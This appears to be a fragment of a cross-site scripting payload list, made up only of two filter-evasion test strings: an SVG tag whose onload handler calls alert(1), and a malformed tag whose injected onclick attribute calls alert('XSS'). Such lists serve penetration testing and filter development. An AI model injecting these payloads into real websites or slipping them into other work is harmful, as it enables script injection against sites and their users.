<<svg/onload="alert(1)"//@x>

<bar"onclick="alert('XSS')"@foo>